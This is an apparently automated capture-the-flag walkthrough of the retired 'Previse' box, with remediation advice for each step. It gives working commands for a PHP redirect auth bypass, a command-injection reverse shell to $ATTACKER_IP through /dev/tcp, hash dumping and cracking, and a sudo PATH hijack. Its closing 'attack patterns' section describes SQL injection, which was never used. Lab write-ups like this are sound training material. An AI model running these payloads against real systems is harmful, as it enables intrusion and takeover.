← all walkthroughs

Previse

Linux· Easy· Web
owned
2026-07-05
time to own
4m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a PHP coding flaw that delivered full page content inside redirect responses, allowing silent account creation on a private file-management portal with no prior credentials. After logging in, I downloaded the site's own backup archive, reviewed its source code, discovered an OS command injection flaw in a log-viewing page, and obtained a remote shell as the web server process. Plaintext database credentials baked into the source code led to the local user's password hash, which cracked offline in seconds.

That cracked password opened an SSH session and the user flag. A sudo rule permitted the user to run a shell script as root; because the script invoked gzip by relative name rather than absolute path, planting a malicious gzip binary early in the PATH caused root-level code execution and complete system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning (Nmap)
Mapped the exposed attack surface
A service scan confirmed exactly two open ports: SSH on 22 and an Apache/PHP web application on 80. Every unauthenticated HTTP request received a 302 redirect to /login.php, indicating a private internal portal with no public registration link.
Exact commands 2
Full TCP scan with service/version detection. Confirms only ports 22 and 80 are open.
nmap -sV -sC -p- --min-rate 5000 -oN previse_full.txt $TARGET
Verify the 302 redirect and PHPSESSID cookie on unauthenticated requests.
curl -sI http://$TARGET/
2Initial AccessExecution After Redirect / PHP auth bypass (CWE-698)
Created a portal account without any credentials (PHP redirect bypass)
PHP's header() redirect function issues the 302 but does not stop script execution, so /accounts.php returned its full account-creation form in the response body even while redirecting unauthenticated visitors away. Anyone who reads that response body before following the redirect can POST a new username and password directly to the endpoint, registering a valid account with no prior login.
Finding: 'Previse Php Auth Redirect Bypass To Account Creation' (Critical); app returns HTTP 302 + full HTML body on /accounts.php for unauthenticated requests
Exact commands 3
Observe the 302 status AND the account-creation form HTML in the same response body.
curl -v http://$TARGET/accounts.php 2>&1 | grep -A 40 '< HTTP'
POST new credentials directly to the endpoint. The server creates the account despite the redirect.
curl -s -X POST http://$TARGET/accounts.php -d "username=$USERNAME&password=$PASSWORD2&confirm=$PASSWORD2" -D -
Authenticate with the newly created account and save the session cookie.
curl -s -c cookies.txt -X POST http://$TARGET/login.php -d "username=$USERNAME&password=$PASSWORD2" -D -
FixStop PHP page execution immediately after issuing every redirectCritical
WeaknessEvery PHP page that redirects unauthenticated visitors away with header('Location: login.php') continued executing and returned its full HTML form body in the same 302 response. Anyone who reads that response body before following the redirect can interact with restricted functionality, including account creation, without ever holding a valid session.
FixPlace an exit() or die() call immediately after every header() redirect in every protected PHP file. Centralise authentication enforcement in a single include (e.g., auth_check.php) required at the top of every restricted page, so a forgotten exit() cannot silently bypass the control. Remove the publicly exposed account-creation endpoint entirely, or gate it behind an existing admin session.
3DiscoverySensitive file exposure / source code disclosure
Downloaded the site's own backup archive and read the source code
The authenticated file manager at /files.php offered a download link for siteBackup.zip, a full copy of the PHP application. Reviewing the extracted files revealed two critical items: a MySQL password stored in plaintext inside config.php, and a log-viewer endpoint (logs.php) that passed a user-supplied delimiter value straight to a system shell call with no sanitisation.
Exact commands 3
Identify the backup download link from the file listing page.
curl -s -b cookies.txt http://$TARGET/files.php | grep -i 'zip\|href'
Download and extract the backup archive.
curl -s -b cookies.txt http://$TARGET/files/siteBackup.zip -o siteBackup.zip && unzip siteBackup.zip -d previse_src/
Locate hardcoded credentials and dangerous function calls in the source code.
grep -rn 'password\|mysqli\|exec\|system\|shell_exec' previse_src/ --include='*.php'
4ExecutionOS Command Injection (CWE-78 / T1059)
Injected OS commands through the log viewer and obtained a shell as www-data
Logs.php accepted a POST parameter named 'delim' and concatenated it without escaping into a Python command executed by exec(). Appending a semicolon and a bash reverse-shell payload to the delimiter value caused the web server to connect outbound to me, yielding an interactive shell running as www-data.
Exact commands 2
Open a listener on my machine before sending the payload.
nc -lvnp 4444
Inject a reverse-shell payload via the delim parameter. Replace $ATTACKER_IP with your tun0 VPN address.
curl -s -b cookies.txt -X POST http://$TARGET/logs.php --data-urlencode 'delim=,;bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'
FixEliminate OS command injection in the log viewerCritical
WeaknessThe 'delim' POST parameter in logs.php was concatenated directly into a shell command string passed to exec(), allowing any authenticated user to append arbitrary OS commands and execute them as the web server process.
FixRemove the shell call entirely and parse the log file in native PHP (fgetcsv(), str_getcsv(), etc.). If a subprocess is unavoidable, validate the delimiter against a strict allowlist of safe single characters (comma, tab, pipe) using an exact equality check, then wrap every argument in escapeshellarg() before passing it to the shell. Apply the principle of least privilege to the web server process account so its blast radius is minimised if injection occurs again.
5Credential AccessCredentials in source files / database credential harvesting
Harvested m4lwhere's password hash from MySQL using plaintext database credentials
Config.php in the extracted backup contained the MySQL username and password in plaintext. From the www-data shell, I used those credentials to connect to the local database and dump the accounts table, retrieving the hashed password for the system user m4lwhere.
Exact commands 2
Read the database connection file from the www-data shell. Exposes host, username, and password in cleartext.
cat /var/www/html/config.php
Connect locally and dump all account rows including m4lwhere's password hash. Substitute the actual password found in config.php.
mysql -u root -p'$PASSWORD3' previse -e 'SELECT * FROM accounts;'
FixRemove hardcoded database credentials from web-accessible source filesHigh
Weaknessconfig.php stored the MySQL username and password in plaintext inside the web root. Any process that gained a shell as www-data could read the file directly. The siteBackup.zip download made those credentials available to any authenticated portal user without even needing a shell.
FixMove all credentials out of the web root into a directory accessible only to the web server OS account (e.g., /etc/previse/db.conf, owned root:www-data, mode 0640). Load them at runtime via environment variables or a secrets manager. Rotate the current database password immediately and scope the database account to the minimum privileges required (SELECT/INSERT/UPDATE on the previse schema only; no FILE, SUPER, or GRANT). Disable or password-protect the backup download endpoint, or exclude config files from the archive.
6Credential AccessOffline password cracking (T1110.002)
Cracked the password hash offline and logged in via SSH as m4lwhere
The hash retrieved from the database was a bcrypt value produced by PHP's password_hash(). Hashcat cracked it against the rockyou wordlist and recovered the password '[REDACTED: recovered credential]'. That credential worked directly for SSH, giving me a login shell on the host and the user flag.
Sshpass -p '[REDACTED: recovered credential]' ssh m4lwhere@$TARGET 'id; hostname; cat /home/m4lwhere/user.txt'
Exact commands 2
Mode 3200 = bcrypt ($2y$). Recovers password '[REDACTED: recovered credential]' from m4lwhere's hash.
hashcat -m 3200 m4lwhere.hash /usr/share/wordlists/rockyou.txt --force
Authenticate with the cracked password. Read /home/m4lwhere/user.txt -> <user.txt>
ssh m4lwhere@$TARGET
FixEnforce strong password hashing and a minimum password policyHigh
Weaknessm4lwhere's password hash was cracked in a short offline attack using a common wordlist, indicating that either a fast/weak hashing algorithm was in use or the password itself was insufficiently complex. Once a hash is exfiltrated from the database, no server-side control prevents offline cracking.
FixStore all passwords with PHP's password_hash(PASSWORD_BCRYPT) at a cost factor of 12 or higher, or with PASSWORD_ARGON2ID, and verify them with password_verify(). Enforce a minimum password length of 14 characters with mixed character classes at registration time. Require users with existing weak hashes to reset their passwords on next login.
7Privilege EscalationSudo PATH interception (T1574.007)
Hijacked the PATH to replace gzip and escalated to root
Sudo -l showed m4lwhere could run /opt/siteIsUp.sh as root. That script called gzip using a relative name rather than its absolute path. I created a throwaway directory, wrote a malicious executable named 'gzip' into it, and prepended that directory to PATH before calling sudo. The kernel resolved 'gzip' to my binary, which ran as root and provided a root shell and the root flag.
TD=$(mktemp -d); gzip payload written to $TD; sudo PATH=$TD:$PATH /opt/siteIsUp.sh; root flag read from /tmp/rootflag.codex
Exact commands 4
Confirm m4lwhere can run /opt/siteIsUp.sh as root without a password.
sudo -l
Verify the script calls gzip (or another binary) without an absolute path.
cat /opt/siteIsUp.sh
Drop a malicious gzip that spawns an interactive root shell into the temp directory.
TD=$(mktemp -d) && printf '#!/bin/bash\n/bin/bash -p\n' > $TD/gzip && chmod +x $TD/gzip
Run the allowed script with the poisoned PATH. The fake gzip executes as root. Read /root/root.txt -> <root.txt>
sudo PATH=$TD:$PATH /opt/siteIsUp.sh
FixUse absolute paths in every sudo-allowed scriptCritical
WeaknessThe sudo rule permitted m4lwhere to run /opt/siteIsUp.sh as root, but the script called gzip (and potentially other binaries) by relative name. Any user who can prepend a directory to PATH before invoking the script via sudo controls which binary runs as root.
FixReplace every relative command in /opt/siteIsUp.sh with its full absolute path (e.g., /bin/gzip, /usr/bin/python3). Add a 'Defaults secure_path' line to /etc/sudoers that restricts PATH to trusted system directories (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin) for all sudo invocations. Audit every other sudo-allowed script for the same pattern by running: grep -v '^#' /opt/*.sh | grep -v '/usr/\|/bin/\|/sbin/'

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp